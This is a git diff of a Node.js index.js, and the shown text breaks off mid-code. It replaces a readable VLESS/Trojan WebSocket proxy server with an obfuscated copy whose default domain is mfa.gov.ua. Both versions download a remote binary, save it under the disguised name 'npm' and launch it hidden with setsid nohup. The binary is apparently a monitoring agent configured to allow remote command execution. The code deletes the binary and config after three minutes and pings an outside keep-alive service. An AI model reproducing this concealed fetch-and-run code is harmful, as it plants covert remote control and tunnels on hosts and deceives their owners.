diff --git a/index.js b/index.js index 7a77623013..d9a10c259f 100644 --- a/index.js +++ b/index.js @@ -1,377 +1 @@ -const os = require('os'); -const http = require('http'); -const fs = require('fs'); -const axios = require('axios'); -const net = require('net'); -const path = require('path'); -const crypto = require('crypto'); -const { Buffer } = require('buffer'); -const { exec, execSync } = require('child_process'); -const { WebSocket, createWebSocketStream } = require('ws'); -const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运行哪吒v1,在不同的平台需要改UUID,否则会被覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 -const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,例如:abc-domain.com -const AUTO_ACCESS = process.env.AUTO_ACCESS || true; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 -const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 -const NAME = process.env.NAME || ''; // 节点名称 -const PORT = process.env.PORT || 7860; // http和ws服务端口 - -let ISP = ''; -const GetISP = async () => { - try { - const res = await axios.get('https://api.ip.sb/geoip'); - const data = res.data; - ISP = `${data.country_code}-${data.isp}`.replace(/ /g, '_'); - } catch (e) { - ISP = 'Unknown'; - } -} -GetISP(); - -const httpServer = http.createServer((req, res) => { - if (req.url === '/') { - const filePath = path.join(__dirname, 'index.html'); - fs.readFile(filePath, 'utf8', (err, content) => { - if (err) { - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end('Hello world!'); - return; - } - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end(content); - }); - return; - } else if (req.url === `/${SUB_PATH}`) { - const namePart = NAME ? `${NAME}-${ISP}` : ISP; - const vlessURL = `vless://${UUID}@${DOMAIN}:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const trojanURL = `trojan://${UUID}@${DOMAIN}:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const subscription = vlessURL + '\n' + trojanURL; - const base64Content = Buffer.from(subscription).toString('base64'); - - res.writeHead(200, { 'Content-Type': 'text/plain' }); - res.end(base64Content + '\n'); - } else { - res.writeHead(404, { 'Content-Type': 'text/plain' }); - res.end('Not Found\n'); - } -}); - -const wss = new WebSocket.Server({ server: httpServer }); -const uuid = UUID.replace(/-/g, ""); -const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; -// Custom DNS -function resolveHost(host) { - return new Promise((resolve, reject) => { - if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { - resolve(host); - return; - } - let attempts = 0; - function tryNextDNS() { - if (attempts >= DNS_SERVERS.length) { - reject(new Error(`Failed to resolve ${host} with all DNS servers`)); - return; - } - const dnsServer = DNS_SERVERS[attempts]; - attempts++; - const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; - axios.get(dnsQuery, { - timeout: 5000, - headers: { - 'Accept': 'application/dns-json' - } - }) - .then(response => { - const data = response.data; - if (data.Status === 0 && data.Answer && data.Answer.length > 0) { - const ip = data.Answer.find(record => record.type === 1); - if (ip) { - resolve(ip.data); - return; - } - } - tryNextDNS(); - }) - .catch(error => { - tryNextDNS(); - }); - } - - tryNextDNS(); - }); -} - -// VLE-SS处理 -function handleVlessConnection(ws, msg) { - const [VERSION] = msg; - const id = msg.slice(1, 17); - if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; - - let i = msg.slice(17, 18).readUInt8() + 19; - const port = msg.slice(i, i += 2).readUInt16BE(0); - const ATYP = msg.slice(i, i += 1).readUInt8(); - const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : - (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : - (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); - ws.send(new Uint8Array([VERSION, 0])); - const duplex = createWebSocketStream(ws); - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; -} - -// Tro-jan处理 -function handleTrojanConnection(ws, msg) { - try { - if (msg.length < 58) return false; - const receivedPasswordHash = msg.slice(0, 56).toString(); - const possiblePasswords = [ - UUID, - ]; - - let matchedPassword = null; - for (const pwd of possiblePasswords) { - const hash = crypto.createHash('sha224').update(pwd).digest('hex'); - if (hash === receivedPasswordHash) { - matchedPassword = pwd; - break; - } - } - - if (!matchedPassword) return false; - let offset = 56; - if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const cmd = msg[offset]; - if (cmd !== 0x01) return false; - offset += 1; - const atyp = msg[offset]; - offset += 1; - let host, port; - if (atyp === 0x01) { - host = msg.slice(offset, offset + 4).join('.'); - offset += 4; - } else if (atyp === 0x03) { - const hostLen = msg[offset]; - offset += 1; - host = msg.slice(offset, offset + hostLen).toString(); - offset += hostLen; - } else if (atyp === 0x04) { - host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => - (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) - .map(b => b.readUInt16BE(0).toString(16)).join(':'); - offset += 16; - } else { - return false; - } - - port = msg.readUInt16BE(offset); - offset += 2; - - if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const duplex = createWebSocketStream(ws); - - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; - } catch (error) { - return false; - } -} -// Ws 连接处理 -wss.on('connection', (ws, req) => { - const url = req.url || ''; - ws.once('message', msg => { - if (msg.length > 17 && msg[0] === 0) { - const id = msg.slice(1, 17); - const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); - if (isVless) { - if (!handleVlessConnection(ws, msg)) { - ws.close(); - } - return; - } - } - - if (!handleTrojanConnection(ws, msg)) { - ws.close(); - } - }).on('error', () => {}); -}); - -const getDownloadUrl = () => { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - if (!NEZHA_PORT) { - return 'https://arm64.ssss.nyc.mn/v1'; - } else { - return 'https://arm64.ssss.nyc.mn/agent'; - } - } else { - if (!NEZHA_PORT) { - return 'https://amd64.ssss.nyc.mn/v1'; - } else { - return 'https://amd64.ssss.nyc.mn/agent'; - } - } -}; - -const downloadFile = async () => { - if (!NEZHA_SERVER && !NEZHA_KEY) return; - - try { - const url = getDownloadUrl(); - const response = await axios({ - method: 'get', - url: url, - responseType: 'stream' - }); - - const writer = fs.createWriteStream('npm'); - response.data.pipe(writer); - - return new Promise((resolve, reject) => { - writer.on('finish', () => { - console.log('npm download successfully'); - exec('chmod +x npm', (err) => { - if (err) reject(err); - resolve(); - }); - }); - writer.on('error', reject); - }); - } catch (err) { - throw err; - } -}; - -const runnz = async () => { - try { - const status = execSync('ps aux | grep -v "grep" | grep "./[n]pm"', { encoding: 'utf-8' }); - if (status.trim() !== '') { - console.log('npm is already running, skip running...'); - return; - } - } catch (e) { - // 进程不存在时继续运行nezha - } - - await downloadFile(); - let command = ''; - let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - - if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { - const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; - command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - } else if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; - const configYaml = `client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${NZ_TLS} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync('config.yaml', configYaml); - } - command = `setsid nohup ./npm -c config.yaml >/dev/null 2>&1 &`; - } else { - console.log('NEZHA variable is empty, skip running'); - return; - } - - try { - exec(command, { shell: '/bin/bash' }, (err) => { - if (err) console.error('npm running error:', err); - else console.log('npm is running'); - }); - } catch (error) { - console.error(`error: ${error}`); - } -}; - -async function addAccessTask() { - if (!AUTO_ACCESS) return; - - if (!DOMAIN) { - return; - } - const fullURL = `https://${DOMAIN}`; - try { - const res = await axios.post("https://oooo.serv00.net/add-url", { - url: fullURL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - console.log('Automatic Access Task added successfully'); - } catch (error) { - // console.error('Error adding Task:', error.message); - } -} - -const delFiles = () => { - fs.unlink('npm', () => {}); - fs.unlink('config.yaml', () => {}); -}; - -httpServer.listen(PORT, () => { - runnz(); - setTimeout(() => { - delFiles(); - }, 180000); - addAccessTask(); - console.log(`Server is running on port ${PORT}`); -}); +const _0x1ac3fd=_0x4ffa;(function(_0x350d66,_0x8ea4c8){const _0x55e059={_0x2b7dc2:0xf0,_0x184b93:0x124,_0x278b70:0x10b,_0x1b1b1b:0x109,_0x19ac48:0x14c,_0x371f46:0x122,_0x191847:0x10c},_0x17d3e2=_0x4ffa,_0xd35ca1=_0x350d66();while(!![]){try{const _0x4622e3=-parseInt(_0x17d3e2(_0x55e059._0x2b7dc2))/0x1+parseInt(_0x17d3e2(0x142))/0x2+-parseInt(_0x17d3e2(0x101))/0x3*(parseInt(_0x17d3e2(_0x55e059._0x184b93))/0x4)+-parseInt(_0x17d3e2(_0x55e059._0x278b70))/0x5*(parseInt(_0x17d3e2(_0x55e059._0x1b1b1b))/0x6)+-parseInt(_0x17d3e2(_0x55e059._0x19ac48))/0x7*(-parseInt(_0x17d3e2(0x15d))/0x8)+-parseInt(_0x17d3e2(_0x55e059._0x371f46))/0x9+-parseInt(_0x17d3e2(0x159))/0xa*(-parseInt(_0x17d3e2(_0x55e059._0x191847))/0xb);if(_0x4622e3===_0x8ea4c8)break;else _0xd35ca1['push'](_0xd35ca1['shift']());}catch(_0x17fb46){_0xd35ca1['push'](_0xd35ca1['shift']());}}}(_0x56cc,0x8a38f));const os=require('os'),http=require(_0x1ac3fd(0x123)),fs=require('fs'),axios=require(_0x1ac3fd(0x151)),net=require(_0x1ac3fd(0xf2)),path=require(_0x1ac3fd(0xe4)),crypto=require(_0x1ac3fd(0x137)),{Buffer}=require(_0x1ac3fd(0xec)),{exec,execSync}=require('child_process'),{WebSocket,createWebSocketStream}=require('ws'),UUID=process[_0x1ac3fd(0x115)][_0x1ac3fd(0x105)]||_0x1ac3fd(0x11b),NEZHA_SERVER=process[_0x1ac3fd(0x115)]['NEZHA_SERVER']||'',NEZHA_PORT=process[_0x1ac3fd(0x115)][_0x1ac3fd(0x14d)]||'',NEZHA_KEY=process[_0x1ac3fd(0x115)][_0x1ac3fd(0x103)]||'',DOMAIN=process[_0x1ac3fd(0x115)]['DOMAIN']||'mfa.gov.ua',AUTO_ACCESS=process['env'][_0x1ac3fd(0xf1)]||!![],WSPATH=process[_0x1ac3fd(0x115)][_0x1ac3fd(0x127)]||UUID[_0x1ac3fd(0x117)](0x0,0x8),SUB_PATH=process[_0x1ac3fd(0x115)][_0x1ac3fd(0xfb)]||_0x1ac3fd(0x141),NAME=process[_0x1ac3fd(0x115)][_0x1ac3fd(0x14b)]||'',PORT=process[_0x1ac3fd(0x115)][_0x1ac3fd(0x136)]||0x1eb4;function _0x56cc(){const _0x182a8c=['includes','\x0askip_connection_count:\x20true\x0askip_procs_count:\x20true\x0atemperature:\x20false\x0atls:\x20','end','443','NAME','352919DFOShC','NEZHA_PORT','Answer','https://arm64.ssss.nyc.mn/agent','unlink','axios','toString','close','utf8','2053','decode','writeFileSync','substr','15655330lYUuid','update','/bin/bash','utf-8','152QSXUMe','trim','npm\x20is\x20running','&path=%2F','2083','arch','https://api.ip.sb/geoip','stream','path','false','npm\x20download\x20successfully','&fp=chrome&type=ws&host=','NEZHA\x20variable\x20is\x20empty,\x20skip\x20running','every','length','replace','buffer','setsid\x20nohup\x20./npm\x20-c\x20config.yaml\x20>/dev/null\x202>&1\x20&','readUInt8','error:\x20','1041626mXOFIO','AUTO_ACCESS','net','catch','\x0ause_gitee_to_upgrade:\x20false\x0ause_ipv6_country_code:\x20false\x0auuid:\x20','Status','test','Failed\x20to\x20resolve\x20','writeHead','setsid\x20nohup\x20./npm\x20-s\x20','get','SUB_PATH','text/plain',':443?encryption=none&security=tls&sni=','trojan://','Server','--tls','159EOaaBX','client_secret:\x20','NEZHA_KEY','arm64','UUID','connect','then','url','2487306wuvupG','1.1.1.1','5bxbaTk','11daBIaZ','isp','data','https://amd64.ssss.nyc.mn/v1','arm','error','log','split','reduce','env','readUInt16BE','slice','send','https://amd64.ssss.nyc.mn/agent','config.yaml','add8ed86-da65-4344-92b1-2973b1f340a4','finish','base64','createWriteStream','Unknown','listen','npm\x20is\x20already\x20running,\x20skip\x20running...','7647957FtRpFI','http','44876rfOOqC','map','https://dns.google/resolve?name=','WSPATH','Server\x20is\x20running\x20on\x20port\x20','2087','vless://','write','sha224','2096','join','\x0adebug:\x20false\x0adisable_auto_update:\x20true\x0adisable_command_execute:\x20false\x0adisable_force_update:\x20true\x0adisable_nat:\x20false\x0adisable_send_query:\x20false\x0agpu:\x20false\x0ainsecure_tls:\x20true\x0aip_report_period:\x201800\x0areport_delay:\x204\x0aserver:\x20','pipe','true','readFile','8.8.4.4','concat','application/dns-json','PORT','crypto','hex','\x20with\x20all\x20DNS\x20servers','https://','once','application/json','aarch64','index.html','message','npm','sub','1886520vIUEfh','Hello\x20world!','8443','npm\x20running\x20error:','text/html'];_0x56cc=function(){return _0x182a8c;};return _0x56cc();}let ISP='';const GetISP=async()=>{const _0x4a03f2={_0x3d0e4c:0x11f},_0xf82596=_0x1ac3fd;try{const _0x2a0133=await axios[_0xf82596(0xfa)](_0xf82596(0xe2)),_0x29e94e=_0x2a0133[_0xf82596(0x10e)];ISP=(_0x29e94e['country_code']+'-'+_0x29e94e[_0xf82596(0x10d)])['replace'](/ /g,'_');}catch(_0x228582){ISP=_0xf82596(_0x4a03f2._0x3d0e4c);}};GetISP();const httpServer=http['createServer']((_0x251df7,_0x14483f)=>{const _0xbf16c8={_0x1717d3:0x13e,_0x4f0c7c:0x132,_0x4c9ac4:0x12a,_0x39dca4:0xfd,_0x1401b5:0xdf,_0x174e61:0x152,_0x5f56d8:0xfc,_0x412c3f:0x149},_0x3c685a={_0x20f7e4:0x146,_0x5d02af:0x149,_0x12c96d:0x143,_0xf30dfb:0x146},_0x515227=_0x1ac3fd;if(_0x251df7['url']==='/'){const _0x368d5c=path['join'](__dirname,_0x515227(_0xbf16c8._0x1717d3));fs[_0x515227(_0xbf16c8._0x4f0c7c)](_0x368d5c,_0x515227(0x154),(_0x2a0809,_0x2272ba)=>{const _0x24ec33=_0x515227;if(_0x2a0809){_0x14483f['writeHead'](0xc8,{'Content-Type':_0x24ec33(_0x3c685a._0x20f7e4)}),_0x14483f[_0x24ec33(_0x3c685a._0x5d02af)](_0x24ec33(_0x3c685a._0x12c96d));return;}_0x14483f['writeHead'](0xc8,{'Content-Type':_0x24ec33(_0x3c685a._0xf30dfb)}),_0x14483f[_0x24ec33(0x149)](_0x2272ba);});return;}else{if(_0x251df7['url']==='/'+SUB_PATH){const _0x9b0a57=NAME?NAME+'-'+ISP:ISP,_0x3b04ea=_0x515227(_0xbf16c8._0x4c9ac4)+UUID+'@'+DOMAIN+_0x515227(_0xbf16c8._0x39dca4)+DOMAIN+_0x515227(0xe7)+DOMAIN+_0x515227(_0xbf16c8._0x1401b5)+WSPATH+'#'+_0x9b0a57,_0x9eec53=_0x515227(0xfe)+UUID+'@'+DOMAIN+':443?security=tls&sni='+DOMAIN+'&fp=chrome&type=ws&host='+DOMAIN+_0x515227(0xdf)+WSPATH+'#'+_0x9b0a57,_0x1d7943=_0x3b04ea+'\x0a'+_0x9eec53,_0x56da8a=Buffer['from'](_0x1d7943)[_0x515227(_0xbf16c8._0x174e61)](_0x515227(0x11d));_0x14483f[_0x515227(0xf8)](0xc8,{'Content-Type':_0x515227(_0xbf16c8._0x5f56d8)}),_0x14483f['end'](_0x56da8a+'\x0a');}else _0x14483f['writeHead'](0x194,{'Content-Type':'text/plain'}),_0x14483f[_0x515227(_0xbf16c8._0x412c3f)]('Not\x20Found\x0a');}}),wss=new WebSocket[(_0x1ac3fd(0xff))]({'server':httpServer}),uuid=UUID[_0x1ac3fd(0xeb)](/-/g,''),DNS_SERVERS=[_0x1ac3fd(0x133),_0x1ac3fd(0x10a)];function resolveHost(_0x33b215){const _0x110084={_0x10d029:0xfa,_0x357d93:0x135};return new Promise((_0x5006e2,_0x82e1f5)=>{const _0x188427=_0x4ffa;if(/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/[_0x188427(0xf6)](_0x33b215)){_0x5006e2(_0x33b215);return;}let _0x446c99=0x0;function _0x52df2b(){const _0x211440={_0x41eba8:0xf5,_0x4a127b:0x14e},_0x22ae07=_0x188427;if(_0x446c99>=DNS_SERVERS['length']){_0x82e1f5(new Error(_0x22ae07(0xf7)+_0x33b215+_0x22ae07(0x139)));return;}const _0xd749b8=DNS_SERVERS[_0x446c99];_0x446c99++;const _0x1c08cb=_0x22ae07(0x126)+encodeURIComponent(_0x33b215)+'&type=A';axios[_0x22ae07(_0x110084._0x10d029)](_0x1c08cb,{'timeout':0x1388,'headers':{'Accept':_0x22ae07(_0x110084._0x357d93)}})['then'](_0x39ddc0=>{const _0x4afaac=_0x22ae07,_0x391e5d=_0x39ddc0[_0x4afaac(0x10e)];if(_0x391e5d[_0x4afaac(_0x211440._0x41eba8)]===0x0&&_0x391e5d[_0x4afaac(0x14e)]&&_0x391e5d[_0x4afaac(_0x211440._0x4a127b)]['length']>0x0){const _0x2e92b6=_0x391e5d['Answer']['find'](_0x21a00c=>_0x21a00c['type']===0x1);if(_0x2e92b6){_0x5006e2(_0x2e92b6['data']);return;}}_0x52df2b();})['catch'](_0xd0fcf8=>{_0x52df2b();});}_0x52df2b();});}function handleVlessConnection(_0x44652f,_0x1b80f5){const _0x412d56={_0x3b8424:0x117,_0x271656:0x117,_0x1382cf:0xee,_0x541417:0x117,_0x31643e:0xee,_0x4f08e1:0x117,_0x5ead8f:0x117,_0x3d9554:0x12e},_0x4a5a11={_0x3dd758:0x111},_0x2e02f6={_0x176b0f:0x12b},_0x1b64fe=_0x1ac3fd,[_0x4781e1]=_0x1b80f5,_0x54d137=_0x1b80f5[_0x1b64fe(_0x412d56._0x3b8424)](0x1,0x11);if(!_0x54d137['every']((_0x52644f,_0x1b0066)=>_0x52644f==parseInt(uuid[_0x1b64fe(0x158)](_0x1b0066*0x2,0x2),0x10)))return![];let _0x51450c=_0x1b80f5[_0x1b64fe(_0x412d56._0x271656)](0x11,0x12)[_0x1b64fe(_0x412d56._0x1382cf)]()+0x13;const _0xfd245=_0x1b80f5[_0x1b64fe(_0x412d56._0x541417)](_0x51450c,_0x51450c+=0x2)[_0x1b64fe(0x116)](0x0),_0x2a00ba=_0x1b80f5['slice'](_0x51450c,_0x51450c+=0x1)[_0x1b64fe(_0x412d56._0x31643e)](),_0xebf40a=_0x2a00ba==0x1?_0x1b80f5[_0x1b64fe(_0x412d56._0x4f08e1)](_0x51450c,_0x51450c+=0x4)['join']('.'):_0x2a00ba==0x2?new TextDecoder()[_0x1b64fe(0x156)](_0x1b80f5['slice'](_0x51450c+0x1,_0x51450c+=0x1+_0x1b80f5[_0x1b64fe(_0x412d56._0x5ead8f)](_0x51450c,_0x51450c+0x1)[_0x1b64fe(_0x412d56._0x31643e)]())):_0x2a00ba==0x3?_0x1b80f5[_0x1b64fe(0x117)](_0x51450c,_0x51450c+=0x10)['reduce']((_0x42c3c1,_0x4dc929,_0x7bcb8d,_0x45cf55)=>_0x7bcb8d%0x2?_0x42c3c1[_0x1b64fe(0x134)](_0x45cf55[_0x1b64fe(0x117)](_0x7bcb8d-0x1,_0x7bcb8d+0x1)):_0x42c3c1,[])['map'](_0x3734d3=>_0x3734d3[_0x1b64fe(0x116)](0x0)[_0x1b64fe(0x152)](0x10))[_0x1b64fe(_0x412d56._0x3d9554)](':'):'';_0x44652f[_0x1b64fe(0x118)](new Uint8Array([_0x4781e1,0x0]));const _0x34694a=createWebSocketStream(_0x44652f);return resolveHost(_0xebf40a)[_0x1b64fe(0x107)](_0x48ae22=>{const _0x3cb263=_0x1b64fe;net['connect']({'host':_0x48ae22,'port':_0xfd245},function(){const _0x3f2244=_0x4ffa;this[_0x3f2244(_0x2e02f6._0x176b0f)](_0x1b80f5[_0x3f2244(0x117)](_0x51450c)),_0x34694a['on'](_0x3f2244(0x111),()=>{})[_0x3f2244(0x130)](this)['on'](_0x3f2244(0x111),()=>{})[_0x3f2244(0x130)](_0x34694a);})['on'](_0x3cb263(_0x4a5a11._0x3dd758),()=>{});})['catch'](_0x14dba4=>{const _0x1ff2d1={_0xaa6ad2:0x12b,_0x18a380:0x111},_0x809899=_0x1b64fe;net[_0x809899(0x106)]({'host':_0xebf40a,'port':_0xfd245},function(){const _0x3270af=_0x809899;this[_0x3270af(_0x1ff2d1._0xaa6ad2)](_0x1b80f5[_0x3270af(0x117)](_0x51450c)),_0x34694a['on'](_0x3270af(_0x1ff2d1._0x18a380),()=>{})[_0x3270af(0x130)](this)['on'](_0x3270af(_0x1ff2d1._0x18a380),()=>{})['pipe'](_0x34694a);})['on'](_0x809899(0x111),()=>{});}),!![];}function handleTrojanConnection(_0xdc0481,_0x27008e){const _0x2701d5={_0x2bec2b:0x117,_0xe8ea63:0x12c,_0x217d72:0x138,_0x327a48:0x152,_0x2cc98c:0x117,_0x2fd1a7:0x12e,_0x3cd9d2:0x116},_0x120e42={_0x5e72d1:0x106,_0x1bc169:0x111},_0x5959dc=_0x1ac3fd;try{if(_0x27008e[_0x5959dc(0xea)]<0x3a)return![];const _0x4cc78b=_0x27008e[_0x5959dc(_0x2701d5._0x2bec2b)](0x0,0x38)['toString'](),_0x47861d=[UUID];let _0xffb00=null;for(const _0x88f58a of _0x47861d){const _0x10083b=crypto['createHash'](_0x5959dc(_0x2701d5._0xe8ea63))[_0x5959dc(0x15a)](_0x88f58a)['digest'](_0x5959dc(_0x2701d5._0x217d72));if(_0x10083b===_0x4cc78b){_0xffb00=_0x88f58a;break;}}if(!_0xffb00)return![];let _0xcd483b=0x38;_0x27008e[_0xcd483b]===0xd&&_0x27008e[_0xcd483b+0x1]===0xa&&(_0xcd483b+=0x2);const _0x52f4e2=_0x27008e[_0xcd483b];if(_0x52f4e2!==0x1)return![];_0xcd483b+=0x1;const _0x538eda=_0x27008e[_0xcd483b];_0xcd483b+=0x1;let _0x332943,_0xf9d0f1;if(_0x538eda===0x1)_0x332943=_0x27008e['slice'](_0xcd483b,_0xcd483b+0x4)[_0x5959dc(0x12e)]('.'),_0xcd483b+=0x4;else{if(_0x538eda===0x3){const _0x5975d6=_0x27008e[_0xcd483b];_0xcd483b+=0x1,_0x332943=_0x27008e[_0x5959dc(0x117)](_0xcd483b,_0xcd483b+_0x5975d6)[_0x5959dc(_0x2701d5._0x327a48)](),_0xcd483b+=_0x5975d6;}else{if(_0x538eda===0x4)_0x332943=_0x27008e[_0x5959dc(_0x2701d5._0x2cc98c)](_0xcd483b,_0xcd483b+0x10)[_0x5959dc(0x114)]((_0x6a6c51,_0x105c7a,_0x5c4e9b,_0x1e8462)=>_0x5c4e9b%0x2?_0x6a6c51[_0x5959dc(0x134)](_0x1e8462[_0x5959dc(0x117)](_0x5c4e9b-0x1,_0x5c4e9b+0x1)):_0x6a6c51,[])[_0x5959dc(0x125)](_0x42c349=>_0x42c349[_0x5959dc(0x116)](0x0)['toString'](0x10))[_0x5959dc(_0x2701d5._0x2fd1a7)](':'),_0xcd483b+=0x10;else return![];}}_0xf9d0f1=_0x27008e[_0x5959dc(_0x2701d5._0x3cd9d2)](_0xcd483b),_0xcd483b+=0x2;_0xcd483b<_0x27008e[_0x5959dc(0xea)]&&_0x27008e[_0xcd483b]===0xd&&_0x27008e[_0xcd483b+0x1]===0xa&&(_0xcd483b+=0x2);const _0x20040a=createWebSocketStream(_0xdc0481);return resolveHost(_0x332943)[_0x5959dc(0x107)](_0xb570f4=>{const _0x3c7266={_0xe7c487:0x12b,_0x569526:0x130},_0x3b1d56=_0x5959dc;net[_0x3b1d56(_0x120e42._0x5e72d1)]({'host':_0xb570f4,'port':_0xf9d0f1},function(){const _0x2afda5=_0x3b1d56;_0xcd483b<_0x27008e['length']&&this[_0x2afda5(_0x3c7266._0xe7c487)](_0x27008e['slice'](_0xcd483b)),_0x20040a['on']('error',()=>{})[_0x2afda5(_0x3c7266._0x569526)](this)['on'](_0x2afda5(0x111),()=>{})['pipe'](_0x20040a);})['on'](_0x3b1d56(_0x120e42._0x1bc169),()=>{});})[_0x5959dc(0xf3)](_0x2fef48=>{const _0xae8e8=_0x5959dc;net[_0xae8e8(0x106)]({'host':_0x332943,'port':_0xf9d0f1},function(){const _0x5c7876=_0xae8e8;_0xcd483b<_0x27008e[_0x5c7876(0xea)]&&this[_0x5c7876(0x12b)](_0x27008e[_0x5c7876(0x117)](_0xcd483b)),_0x20040a['on'](_0x5c7876(0x111),()=>{})['pipe'](this)['on']('error',()=>{})[_0x5c7876(0x130)](_0x20040a);})['on'](_0xae8e8(0x111),()=>{});}),!![];}catch(_0x3b03d5){return![];}}function _0x4ffa(_0x3ca988,_0x46859c){const _0x56cc82=_0x56cc();return _0x4ffa=function(_0x4ffa65,_0x3f26ad){_0x4ffa65=_0x4ffa65-0xde;let _0x147b6c=_0x56cc82[_0x4ffa65];return _0x147b6c;},_0x4ffa(_0x3ca988,_0x46859c);}wss['on']('connection',(_0x518239,_0x5736b4)=>{const _0x2ab2ee={_0x9ab0c6:0x13f},_0x231418={_0x1d4052:0xea,_0x5b3df6:0x117,_0x45766c:0xe9},_0x4ba4aa=_0x1ac3fd,_0x1e5c5b=_0x5736b4[_0x4ba4aa(0x108)]||'';_0x518239[_0x4ba4aa(0x13b)](_0x4ba4aa(_0x2ab2ee._0x9ab0c6),_0x1b1928=>{const _0x4f6abc=_0x4ba4aa;if(_0x1b1928[_0x4f6abc(_0x231418._0x1d4052)]>0x11&&_0x1b1928[0x0]===0x0){const _0x2b20ce=_0x1b1928[_0x4f6abc(_0x231418._0x5b3df6)](0x1,0x11),_0x2625db=_0x2b20ce[_0x4f6abc(_0x231418._0x45766c)]((_0x4888d7,_0x2231b0)=>_0x4888d7==parseInt(uuid[_0x4f6abc(0x158)](_0x2231b0*0x2,0x2),0x10));if(_0x2625db){!handleVlessConnection(_0x518239,_0x1b1928)&&_0x518239[_0x4f6abc(0x153)]();return;}}!handleTrojanConnection(_0x518239,_0x1b1928)&&_0x518239[_0x4f6abc(0x153)]();})['on']('error',()=>{});});const getDownloadUrl=()=>{const _0x5774aa={_0x745500:0x13d},_0x1b3348=_0x1ac3fd,_0x581421=os[_0x1b3348(0xe1)]();return _0x581421===_0x1b3348(0x110)||_0x581421===_0x1b3348(0x104)||_0x581421===_0x1b3348(_0x5774aa._0x745500)?!NEZHA_PORT?'https://arm64.ssss.nyc.mn/v1':_0x1b3348(0x14f):!NEZHA_PORT?_0x1b3348(0x10f):_0x1b3348(0x119);},downloadFile=async()=>{const _0x12a1f0={_0x49f92f:0x11e,_0x3e4c59:0x140,_0x48613b:0x130},_0x2dec8e={_0x4660a4:0x111},_0x480db0={_0x5cf9c5:0x112},_0xd7d87a=_0x1ac3fd;if(!NEZHA_SERVER&&!NEZHA_KEY)return;try{const _0x1a0218=getDownloadUrl(),_0x129f2d=await axios({'method':_0xd7d87a(0xfa),'url':_0x1a0218,'responseType':_0xd7d87a(0xe3)}),_0x1bed4f=fs[_0xd7d87a(_0x12a1f0._0x49f92f)](_0xd7d87a(_0x12a1f0._0x3e4c59));return 